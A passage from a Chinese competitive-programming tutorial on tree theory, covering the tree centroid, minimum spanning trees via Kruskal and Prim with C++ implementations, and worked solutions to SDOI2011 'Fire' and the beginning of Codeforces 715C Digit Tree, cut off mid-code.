&lt;td&gt;&lt;strong&gt;等价定义&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;距离和最小 / 子树大小都不超过 $n/2$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;数量&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;最多 2 个，若有 2 个则相邻&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;求法&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;一次 DFS，$O(n)$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;应用&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;点分治的核心基础&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h1&gt;第四部分：最小生成树&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;最小生成树&lt;/strong&gt;（Minimum Spanning Tree, MST）是图论中最经典的问题之一。给定一个带权无向连通图，最小生成树是一棵包含所有顶点、边权和最小的生成树。&lt;/p&gt;
&lt;h2&gt;核心定义&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;生成树&lt;/strong&gt;：对于一个有 $n$ 个顶点的连通图，生成树是包含全部 $n$ 个顶点且恰好有 $n-1$ 条边的连通子图。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最小生成树&lt;/strong&gt;：所有生成树中，边权总和最小的那一棵。&lt;/p&gt;
&lt;Info&gt;
只有连通图才存在生成树。对于非连通图，只存在最小生成森林。
&lt;/Info&gt;

&lt;Warning&gt;
最小生成树可能不唯一，但当所有边权互不相同时，最小生成树唯一。
&lt;/Warning&gt;

&lt;h2&gt;求解算法&lt;/h2&gt;
&lt;p&gt;求最小生成树有两种经典算法，都基于贪心策略：&lt;/p&gt;
&lt;h3&gt;Kruskal 算法&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;思想&lt;/strong&gt;：将所有边按边权从小到大排序，依次尝试加入。如果某条边的两个端点不在同一个连通块内（用并查集判断），则加入该边，直到加入了 $n-1$ 条边。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;算法步骤&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;将所有边按边权排序&lt;/li&gt;
&lt;li&gt;初始化并查集，每个节点自成一个集合&lt;/li&gt;
&lt;li&gt;按顺序遍历每条边 $(u, v, w)$：&lt;ul&gt;
&lt;li&gt;如果 &lt;code&gt;find(u) != find(v)&lt;/code&gt;，则加入该边，执行 &lt;code&gt;union(u, v)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;直到选了 $n-1$ 条边&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;MSTKruskal /&gt;

&lt;Info&gt;
Kruskal 算法的正确性基于贪心选择性质：每次选择当前最小的&quot;安全边&quot;（不会形成环的边），最终得到最优解。
&lt;/Info&gt;

&lt;p&gt;&lt;strong&gt;时间复杂度&lt;/strong&gt;：$O(m \log m)$，主要来自排序。适合&lt;strong&gt;稀疏图&lt;/strong&gt;（边数较少）。&lt;/p&gt;
&lt;h3&gt;Prim 算法&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;思想&lt;/strong&gt;：从任意一个节点开始，每次从未加入树的节点中，选择一个与已加入节点集合距离最近的节点加入，直到所有节点都被加入。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;算法步骤&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;选择一个起始节点加入集合 $S$&lt;/li&gt;
&lt;li&gt;维护每个节点到集合 $S$ 的最小距离&lt;/li&gt;
&lt;li&gt;每次选择距离最小的未加入节点，加入 $S$ 并更新其他节点的距离&lt;/li&gt;
&lt;li&gt;重复直到所有节点都加入&lt;/li&gt;
&lt;/ol&gt;
&lt;MSTPrim /&gt;

&lt;Info&gt;
Prim 算法的思想类似于 Dijkstra 最短路径算法，区别在于 Dijkstra 维护的是到起点的最短距离，而 Prim 维护的是到已选集合的最短距离。
&lt;/Info&gt;

&lt;p&gt;&lt;strong&gt;时间复杂度&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;朴素实现：$O(n^2)$，适合&lt;strong&gt;稠密图&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;堆优化：$O(m \log n)$&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;算法对比&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;Kruskal&lt;/th&gt;
&lt;th&gt;Prim&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;时间复杂度&lt;/td&gt;
&lt;td&gt;$O(m \log m)$&lt;/td&gt;
&lt;td&gt;$O(n^2)$ 或 $O(m \log n)$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;适用场景&lt;/td&gt;
&lt;td&gt;稀疏图&lt;/td&gt;
&lt;td&gt;稠密图&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数据结构&lt;/td&gt;
&lt;td&gt;并查集&lt;/td&gt;
&lt;td&gt;优先队列&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;实现难度&lt;/td&gt;
&lt;td&gt;简单&lt;/td&gt;
&lt;td&gt;中等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;思路&lt;/td&gt;
&lt;td&gt;从边出发&lt;/td&gt;
&lt;td&gt;从点出发&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;代码实现&lt;/h2&gt;
&lt;h3&gt;Kruskal 算法（C++）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &amp;lt;bits/stdc++.h&amp;gt;
using namespace std;

const int N = 100005;
int parent[N], rank_[N];

// 并查集查找（带路径压缩）
int find(int x) {
    return parent[x] == x ? x : parent[x] = find(parent[x]);
}

// 并查集合并（按秩合并）
bool unite(int x, int y) {
    x = find(x), y = find(y);
    if (x == y) return false;
    if (rank_[x] &amp;lt; rank_[y]) swap(x, y);
    parent[y] = x;
    if (rank_[x] == rank_[y]) rank_[x]++;
    return true;
}

struct Edge {
    int u, v, w;
    bool operator&amp;lt;(const Edge&amp;amp; e) const { return w &amp;lt; e.w; }
};

int main() {
    int n, m;
    cin &amp;gt;&amp;gt; n &amp;gt;&amp;gt; m;

    vector&amp;lt;Edge&amp;gt; edges(m);
    for (int i = 0; i &amp;lt; m; i++) {
        cin &amp;gt;&amp;gt; edges[i].u &amp;gt;&amp;gt; edges[i].v &amp;gt;&amp;gt; edges[i].w;
    }

    // 初始化并查集
    for (int i = 1; i &amp;lt;= n; i++) parent[i] = i;

    // Kruskal
    sort(edges.begin(), edges.end());
    int totalWeight = 0, edgeCount = 0;

    for (auto&amp;amp; e : edges) {
        if (unite(e.u, e.v)) {
            totalWeight += e.w;
            edgeCount++;
            cout &amp;lt;&amp;lt; &amp;quot;选中边: &amp;quot; &amp;lt;&amp;lt; e.u &amp;lt;&amp;lt; &amp;quot; - &amp;quot; &amp;lt;&amp;lt; e.v
                 &amp;lt;&amp;lt; &amp;quot; (权重 &amp;quot; &amp;lt;&amp;lt; e.w &amp;lt;&amp;lt; &amp;quot;)&amp;quot; &amp;lt;&amp;lt; endl;
            if (edgeCount == n - 1) break;
        }
    }

    if (edgeCount == n - 1) {
        cout &amp;lt;&amp;lt; &amp;quot;最小生成树总权重: &amp;quot; &amp;lt;&amp;lt; totalWeight &amp;lt;&amp;lt; endl;
    } else {
        cout &amp;lt;&amp;lt; &amp;quot;图不连通，无法生成最小生成树&amp;quot; &amp;lt;&amp;lt; endl;
    }

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Prim 算法（C++）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &amp;lt;bits/stdc++.h&amp;gt;
using namespace std;

const int N = 1005;
const int INF = 1e9;

int n, m;
vector&amp;lt;pair&amp;lt;int, int&amp;gt;&amp;gt; adj[N]; // (邻点, 边权)
int minDist[N];   // 到已选集合的最小距离
int parent[N];    // 记录生成树的父节点
bool inMST[N];

int prim(int start) {
    fill(minDist, minDist + n + 1, INF);
    fill(inMST, inMST + n + 1, false);
    fill(parent, parent + n + 1, -1);

    minDist[start] = 0;
    int totalWeight = 0;

    for (int i = 0; i &amp;lt; n; i++) {
        // 找最小距离的未选节点
        int u = -1, minD = INF;
        for (int v = 1; v &amp;lt;= n; v++) {
            if (!inMST[v] &amp;amp;&amp;amp; minDist[v] &amp;lt; minD) {
                minD = minDist[v];
                u = v;
            }
        }

        if (u == -1) break; // 图不连通

        inMST[u] = true;
        totalWeight += minDist[u];

        if (parent[u] != -1) {
            cout &amp;lt;&amp;lt; &amp;quot;选中边: &amp;quot; &amp;lt;&amp;lt; parent[u] &amp;lt;&amp;lt; &amp;quot; - &amp;quot; &amp;lt;&amp;lt; u
                 &amp;lt;&amp;lt; &amp;quot; (权重 &amp;quot; &amp;lt;&amp;lt; minDist[u] &amp;lt;&amp;lt; &amp;quot;)&amp;quot; &amp;lt;&amp;lt; endl;
        }

        // 更新邻接节点的最小距离
        for (auto [v, w] : adj[u]) {
            if (!inMST[v] &amp;amp;&amp;amp; w &amp;lt; minDist[v]) {
                minDist[v] = w;
                parent[v] = u;
            }
        }
    }

    return totalWeight;
}

int main() {
    cin &amp;gt;&amp;gt; n &amp;gt;&amp;gt; m;
    for (int i = 0; i &amp;lt; m; i++) {
        int u, v, w;
        cin &amp;gt;&amp;gt; u &amp;gt;&amp;gt; v &amp;gt;&amp;gt; w;
        adj[u].push_back({v, w});
        adj[v].push_back({u, w});
    }

    int totalWeight = prim(1);
    cout &amp;lt;&amp;lt; &amp;quot;最小生成树总权重: &amp;quot; &amp;lt;&amp;lt; totalWeight &amp;lt;&amp;lt; endl;

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Prim 算法堆优化版本&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;int prim_heap(int start) {
    fill(minDist, minDist + n + 1, INF);
    fill(inMST, inMST + n + 1, false);

    priority_queue&amp;lt;pair&amp;lt;int, int&amp;gt;, vector&amp;lt;pair&amp;lt;int, int&amp;gt;&amp;gt;,
                   greater&amp;lt;pair&amp;lt;int, int&amp;gt;&amp;gt;&amp;gt; pq;

    minDist[start] = 0;
    pq.push({0, start});
    int totalWeight = 0, cnt = 0;

    while (!pq.empty() &amp;amp;&amp;amp; cnt &amp;lt; n) {
        auto [d, u] = pq.top(); pq.pop();

        if (inMST[u]) continue;
        inMST[u] = true;
        totalWeight += d;
        cnt++;

        for (auto [v, w] : adj[u]) {
            if (!inMST[v] &amp;amp;&amp;amp; w &amp;lt; minDist[v]) {
                minDist[v] = w;
                parent[v] = u;
                pq.push({w, v});
            }
        }
    }

    return totalWeight;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;正确性证明&lt;/h2&gt;
&lt;p&gt;两种算法的正确性都可以通过&lt;strong&gt;切分定理&lt;/strong&gt;（Cut Property）证明：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;切分定理&lt;/strong&gt;：将图的顶点集任意分成两个非空集合 $S$ 和 $V-S$，则所有连接这两个集合的边中，权值最小的边一定在某个最小生成树中。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Kruskal&lt;/strong&gt;：每次选择的边都是某个切分的最小边（因为按权重排序）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Prim&lt;/strong&gt;：每次选择的节点对应的边，就是当前切分的最小边。&lt;/p&gt;
&lt;h2&gt;练习题推荐&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;题目&lt;/th&gt;
&lt;th&gt;难度&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.luogu.com.cn/problem/P3366&quot;&gt;洛谷 P3366 最小生成树&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;⭐&lt;/td&gt;
&lt;td&gt;模板题&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.luogu.com.cn/problem/P1547&quot;&gt;洛谷 P1547 Out of Hay&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;⭐⭐&lt;/td&gt;
&lt;td&gt;最小生成树的最大边&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.luogu.com.cn/problem/P2872&quot;&gt;洛谷 P2872 Roads&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;⭐⭐&lt;/td&gt;
&lt;td&gt;构图 + MST&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.luogu.com.cn/problem/P1991&quot;&gt;洛谷 P1991 无线通讯网&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;td&gt;二分 + MST / 第 k 大边&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://leetcode.cn/problems/min-cost-to-connect-all-points/&quot;&gt;LeetCode 1584. 连接所有点的最小费用&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;⭐⭐&lt;/td&gt;
&lt;td&gt;构图 + Prim&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Kruskal&lt;/strong&gt; 从边出发，按权重排序后贪心选择，用并查集判环，适合稀疏图&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prim&lt;/strong&gt; 从点出发，逐步扩展生成树，类似 Dijkstra，适合稠密图&lt;/li&gt;
&lt;li&gt;两种算法都基于贪心，正确性由切分定理保证&lt;/li&gt;
&lt;li&gt;实际竞赛中，Kruskal 实现简单，是最常用的 MST 算法&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h1&gt;总结&lt;/h1&gt;
&lt;p&gt;本文系统介绍了树论的核心内容：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;专题&lt;/th&gt;
&lt;th&gt;核心要点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;树基础&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;无根树/有根树定义、术语、存储、DFS/BFS 遍历&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;树的直径&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;两次 DFS（简单但不支持负权）、树形 DP（通用）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;树的重心&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;删去后最大连通块 $\le n/2$，点分治的基础&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;最小生成树&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Kruskal（稀疏图）、Prim（稠密图）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;经典例题&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;消防（直径+尺取）、Digit Tree（点分治+数论）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;这些知识点环环相扣：树的遍历是基础算法，直径和重心是重要的树上结构性质，最小生成树是图论中的重要应用，而经典例题则展示了知识的综合运用。掌握这些内容，将为解决更复杂的树论问题打下坚实基础。&lt;/p&gt;
&lt;hr&gt;
&lt;h1&gt;第五部分：经典例题详解&lt;/h1&gt;
&lt;p&gt;本部分精选两道经典竞赛题目，综合运用树论的核心知识，展示算法在实际问题中的应用。&lt;/p&gt;
&lt;h2&gt;例题一：&lt;a href=&quot;https://www.luogu.com.cn/problem/P2491&quot;&gt;P2491 [SDOI2011] 消防&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;题目背景&lt;/h3&gt;
&lt;p&gt;这道题的背景包装得很花哨，但剔除掉背景后，它是一个非常经典的图论问题。&lt;/p&gt;
&lt;h3&gt;等价题意&lt;/h3&gt;
&lt;p&gt;给定一棵包含 $n$ 个节点、边带有非负权值的无向树，以及一个长度上限 $s$。请在树上找出一条简单路径，满足以下条件：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;约束条件&lt;/strong&gt;：这条路径的总长度（即路径上所有边的权值之和）不能超过 $s$。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;优化目标&lt;/strong&gt;：最小化树中所有节点到这条路径的距离的最大值。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;补充说明&lt;/strong&gt;：树上任意一个节点到某条路径的&amp;quot;距离&amp;quot;，定义为该节点到路径上所有节点最短距离的最小值。&lt;/p&gt;
&lt;h3&gt;问题本质&lt;/h3&gt;
&lt;p&gt;这道题在算法竞赛中通常被称为**「树的核」（Tree Core）问题**。&lt;/p&gt;
&lt;p&gt;因为距离路径最远的节点一定在树的某个&amp;quot;边缘&amp;quot;上，所以直觉上（也有严谨证明），这条最优路径一定完全包含在树的&lt;strong&gt;直径&lt;/strong&gt;（树上最长的一条简单路径）上。&lt;/p&gt;
&lt;p&gt;因此，这类问题通常的解题方向是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;先求出树的直径&lt;/li&gt;
&lt;li&gt;然后利用&lt;strong&gt;尺取法（双指针）&lt;strong&gt;或&lt;/strong&gt;二分答案&lt;/strong&gt;在直径上寻找最优的线段&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;算法思路&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;第一步：求树的直径&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用两次 DFS 方法求出直径的两个端点，并记录直径路径上所有节点的距离（从某个端点出发）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二步：尺取法在直径上找最优路径&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;设直径端点为 $u$ 和 $v$，直径长度为 $D$。我们需要在直径上找一段长度不超过 $s$ 的路径，使得&amp;quot;偏心距&amp;quot;（所有节点到路径的最大距离）最小。&lt;/p&gt;
&lt;p&gt;用双指针 $i$ 和 $j$ 在直径路径上移动（尺取法）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$i$ 和 $j$ 都从同一端点出发&lt;/li&gt;
&lt;li&gt;$i$ 先向前移动&lt;/li&gt;
&lt;li&gt;$j$ 跟随移动，保证 $j$ 到 $i$ 的距离不超过 $s$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对于每对 $(i, j)$，偏心距由两部分构成：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;直径端点到路径的距离：$dis[i]$ 和 $D - dis[j]$&lt;/li&gt;
&lt;li&gt;直径外分支的最大深度&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;第三步：处理直径外的分支&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;对于不在直径上的分支，需要从直径上的节点出发 DFS，计算每个分支的最大深度。&lt;/p&gt;
&lt;h3&gt;关键性质证明&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;为什么最优路径一定在直径上？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;设最优路径为 $P$，不在直径上。考虑距离 $P$ 最远的节点 $x$。&lt;/p&gt;
&lt;p&gt;由于 $P$ 不在直径上，从 $P$ 到 $x$ 的路径必定在某点 $y$ 处离开直径（或从未进入直径）。&lt;/p&gt;
&lt;p&gt;设直径端点为 $u$ 和 $v$，$u$ 到 $v$ 的路径经过 $y$。那么 $u$ 到 $x$ 的距离或 $v$ 到 $x$ 的距离中，至少有一个大于 $x$ 到 $P$ 的距离。&lt;/p&gt;
&lt;p&gt;这意味着，如果把 $P$ 移到直径上某个包含 $y$ 的位置，偏心距不会变大，反而可能变小。因此最优路径一定在直径上。&lt;/p&gt;
&lt;h3&gt;代码实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include&amp;lt;bits/stdc++.h&amp;gt;
using namespace std;
typedef long long ll;
const ll N=1e6+5;

ll n, s, tot, hd[N], cnt, dis[N], ans=9999999999, top, k, fa[N], line[N];
struct edge { ll t, nxt, va; } es[N&amp;lt;&amp;lt;2];

// 快读快写模板
template &amp;lt;typename T&amp;gt; void rd(T &amp;amp;x) {
    ll fl=1; x=0; char c=getchar();
    for(; !isdigit(c); c=getchar()) if(c==&amp;#39;-&amp;#39;) fl=-fl;
    for(; isdigit(c); c=getchar()) x=(x&amp;lt;&amp;lt;3)+(x&amp;lt;&amp;lt;1)+c-&amp;#39;0&amp;#39;;
    x*=fl;
}

void add(ll u, ll v, ll w) {
    es[++tot] = (edge){v, hd[u], w}, hd[u] = tot;
}

// DFS求最远点，同时记录父亲
void dfs(ll x, ll ff) {
    fa[x] = ff;
    if(dis[x] &amp;gt; dis[k]) k = x;  // 更新最远点
    for(ll i = hd[x]; i; i = es[i].nxt) {
        ll to = es[i].t;
        if(to == ff || line[to]) continue;  // 跳过父亲和已标记的直径节点
        dis[to] = dis[x] + es[i].va;
        dfs(to, x);
    }
}

int main() {
    rd(n); rd(s);
    for(ll i=1, u, v, w; i&amp;lt;n; i++) {
        rd(u); rd(v); rd(w);
        add(u, v, w); add(v, u, w);
    }

    // 第一步：求直径
    dis[1] = 1; dfs(1, 0);       // 第一次DFS：从任意点找最远点k
    dis[k] = 0; dfs(k, 0);       // 第二次DFS：从k找最远点top
    top = k;                     // top是直径的另一端点

    // 第二步：尺取法在直径上找最优路径
    for(ll i=top, j=top; i; i=fa[i]) {
        // i从top向另一端移动，j跟随移动保证路径长度&amp;lt;=s
        while(dis[j] - dis[i] &amp;gt; s) j = fa[j];
        // 更新答案：偏心距 = max(左端距离, 右端距离)
        ans = min(ans, max(dis[i], dis[top] - dis[j]));
    }

    // 第三步：标记直径上的节点
    for(ll i=top; i; i=fa[i]) line[i] = 1;

    // 第四步：计算直径外分支的最大深度
    for(ll i=top; i; i=fa[i]) {
        k = i; dis[k] = 0;
        dfs(i, fa[i]);  // 从直径节点出发DFS其分支
    }

    // 最终答案：取所有节点到路径的最大距离
    for(ll i=1; i&amp;lt;=n; i++) ans = max(ans, dis[i]);

    printf(&amp;quot;%lld\n&amp;quot;, ans);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;算法分析&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;步骤&lt;/th&gt;
&lt;th&gt;时间复杂度&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;求直径&lt;/td&gt;
&lt;td&gt;$O(n)$&lt;/td&gt;
&lt;td&gt;两次 DFS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;尺取法&lt;/td&gt;
&lt;td&gt;$O(n)$&lt;/td&gt;
&lt;td&gt;直径长度不超过 $n$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;计算分支深度&lt;/td&gt;
&lt;td&gt;$O(n)$&lt;/td&gt;
&lt;td&gt;每个节点只访问一次&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;总计&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$O(n)$&lt;/td&gt;
&lt;td&gt;线性复杂度&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;Info&gt;
这道题巧妙地结合了树的直径和双指针技巧，是树论综合应用的经典范例。
&lt;/Info&gt;

&lt;hr&gt;
&lt;h2&gt;例题二：&lt;a href=&quot;https://codeforces.com/problemset/problem/715/C&quot;&gt;CF 715C Digit Tree&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;等价题意&lt;/h3&gt;
&lt;p&gt;求树上有多少个有序节点对 $(u, v)$，使得从 $u$ 到 $v$ 路径上的数字按顺序拼接成的十进制数能被 $M$ 整除。&lt;/p&gt;
&lt;h3&gt;问题分析&lt;/h3&gt;
&lt;p&gt;看到&amp;quot;树上所有路径统计&amp;quot;以及 $n \le 10^5$ 的数据范围，这道题通常是指向**点分治（Centroid Decomposition）**的经典模型。&lt;/p&gt;
&lt;p&gt;结合&amp;quot;顺序拼接数字&amp;quot;和&amp;quot;与 10 互质&amp;quot;的性质，需要利用&lt;strong&gt;扩展欧几里得求逆元&lt;/strong&gt;，将路径 $u \to root \to v$ 的余数合并起来进行快速统计。&lt;/p&gt;
&lt;h3&gt;算法思路&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;核心思想&lt;/strong&gt;：点分治 + 路径余数统计&lt;/p&gt;
&lt;p&gt;对于每个分治中心 $cent$，统计所有经过 $cent$ 的满足条件的路径对 $(u, v)$。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;路径余数的表示&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;设从 $u$ 到 $cent$ 的路径上数字拼接成的数为 $X_u$，从 $cent$ 到 $v$ 的路径上数字拼接成的数为 $Y_v$。&lt;/p&gt;
&lt;p&gt;则 $u \to cent \to v$ 路径上的数为 $X_u \times 10^{len(Y_v)} + Y_v$。&lt;/p&gt;
&lt;p&gt;我们需要统计满足 $X_u \times 10^{len} + Y_v \equiv 0 \pmod M$ 的对数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;两个方向的处理&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;down 方向&lt;/strong&gt;：从 $cent$ 向下走到节点 $u$，数字从左往右拼接&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;up 方向&lt;/strong&gt;：从节点 $u$ 向上走到 $cent$，数字从右往左拼接（需要乘 $10^{h}$）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;设 $down[u]$ 为从 $cent$ 到 $u$ 的路径余数，$up[u]$ 为从 $u$ 到 $cent$ 的路径余数，$h[u]$ 为路径高度（长度）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;合并条件&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$up[u] \times 10^{h[v]} + down[v] \equiv 0 \pmod M$&lt;/p&gt;
&lt;p&gt;等价于：$up[u] \equiv -down[v] \times 10^{-h[v]} \pmod M$&lt;/p&gt;
&lt;p&gt;这里需要用到模逆元，要求 $M$ 与 $10$ 互质（题目保证）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;统计方法&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用两个 map：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$tot$：所有子树中 $up$ 值的总统计&lt;/li&gt;
&lt;li&gt;$vec[part]$：各子树内部的 $up$ 值统计（避免重复计数）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对于每个节点 $v$，查询 $tot$ 中满足条件的数量，减去同一子树内的数量（避免路径起点终点在同一子树）。&lt;/p&gt;
&lt;h3&gt;代码实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &amp;lt;bits/stdc++.h&amp;gt;
using namespace std;

typedef long long ll;
typedef pair&amp;lt;int,int&amp;gt; ii;
typedef vector&amp;lt;int&amp;gt; vi;

const int N = 1e5 + 1;
int MOD, n;

vector&amp;lt;ii&amp;gt; adj[N];
int subsize[N];
bool visited[N];
int treesize;
vi clrlist;
ll up[N], down[N];
int h[N];
int PHI;
int dppart[N];

// 快速幂
ll modpow(ll a, ll b) {
    ll r = 1;
    while(b) {
        if(b&amp;amp;1) r = (r*a) % MOD;
        a = (a*a) % MOD;
        b &amp;gt;&amp;gt;= 1;
    }
    return r;
}

ll mult(ll a, ll b) { return (a*b) % MOD; }
ll add(ll a, ll b) { return (a+b+MOD) % MOD; }

ll inv(ll a) { return modpow(a, PHI-1); }  // 模逆元

// 欧拉函数（用于求逆元）
int phi(int n) {
    ll num = 1, num2 = n;
    for(ll i = 2; i*i &amp;lt;= n; i++) {
        if(n % i == 0) {
            num2 /= i;
            num *= (i-1);
        }
        while(n % i == 0) n /= i;
    }
    if(n &amp;gt; 1) { num2 /= n; num *= (n-1); }
    return num * num2;
}

// 计算子树大小
void dfs(int u, int par) {
    if(par == -1) clrlist.clear();
    subsize[u] = 1;
    clrlist.pb(u);
    for(int i = 0; i &amp;lt; adj[u].size(); i++) {
        int v = adj[u][i].fi;
        if(visited[v] || v == par) continue;
        dfs(v, u);
        subsize[u] += subsize[v];
    }
    if(par == -1) treesize = subsize[u];
}

// 找重心
int centroid(int u, int par) {
    for(int i = 0; i &amp;lt; adj[u].size(); i++) {
        int v = adj[u][i].fi;
        if(visited[v] || v == par) continue;
        if(subsize[v]*2 &amp;gt; treesize) return centroid(v, u);
    }
    return u;
}

// 计算各节点的up、down、h值
int parts = 0;
void fill(int u, int p, int cent) {
